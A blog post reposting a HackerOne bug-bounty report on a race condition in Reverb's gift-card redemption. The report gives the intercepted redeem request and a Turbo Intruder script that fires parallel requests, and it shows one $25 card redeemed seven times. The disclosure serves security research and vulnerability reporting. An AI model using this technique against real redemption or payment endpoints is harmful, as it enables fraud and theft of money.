Race Condition Bug
While Reading about Race Condition , I found an interesting report on hackerone . Below is a report submitted by Juho Myllys (muon4)
========================
Hello team!
I've found a Race Condition vulnerability which allows to redeem gift cards multiple times. This how a s/he can easily buy stuff just buying one gift card and redeem it over and over again.
Steps to reproduce
Preparations
- Burp Suite Pro
- Turbo Intruder
Note: This also can be reproduced other way but this is maybe the easiest
The attack
- Login
- Buy a gift card
- Now redeem it at
https://sandbox.reverb.com/<lang>/redeem
- Intercept the request which will be following:
POST /fi/redeem HTTP/1.1
Host: sandbox.reverb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sandbox.reverb.com/fi/redeem
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: keep-alive
Cookie: <cookies>
utf8=%E2%9C%93&authenticity_token=<CSRF token>&token=<GIFT card>&commit=Redeem+Now
- Send it to the turbo intruder
- Use this python code as a payload of the turbo intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Now set the external HTTP header
x-request: %s
- This is needed by the turbo intruder - Click "Attack"
- See multiple 200 OK responses:
- Check your Reverb bucks and see that you have a way more money than the gift card actually was worth of:
In my case I bought one gift card which was worth of 25$ and as we can see from the picture I was able to redeem it 7 times which makes 25*7 = 175$.
If you need any information please let me know.
Cheers!
Impact
Race Condition can be used for get almost free stuff and steal money.
0 comments:
Post a Comment